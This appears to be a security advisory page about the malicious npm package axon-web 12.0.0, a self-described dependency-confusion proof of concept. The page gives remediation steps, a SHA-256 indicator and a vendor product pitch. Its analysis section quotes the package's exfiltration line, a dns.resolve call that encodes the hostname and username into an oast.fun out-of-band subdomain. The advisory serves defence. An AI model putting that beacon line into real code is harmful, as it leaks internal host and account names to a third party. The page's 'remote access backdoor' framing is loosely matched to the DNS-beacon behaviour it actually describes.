Which versions of axon-web are malicious?

The following npm versions of axon-web are flagged malicious: 12.0.0. Treat any of these as compromised.

How do I remediate axon-web if I installed it?

axon-web establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed axon-web — how do I know if it already compromised me?

If axon-web was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is axon-web part of a known attack campaign?

Yes — axon-web is associated with the IN-MAL-2026-022763 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find axon-web across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for axon-web (version 12.0.0).

Malicious package

axon-webnpm

Advisory published Nov 13, 2026Updated Nov 13, 2026

axon-web is a confirmed malicious npm package (MAL-2026-19222) that opens a backdoor for remote access (malicious version 12.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in axon-web (npm)

MAL-2026-19222

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall axon-web

What this malware does

On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.

Malicious versions

1 flagged

12.0.0

Indicators of compromise (SHA-256)

395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for axon-web (version 12.0.0).
If you installed it — respond
axon-web establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If axon-web was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. axon-web on npm has been identified as a malicious package (version 12.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-022763

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks axon-web-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database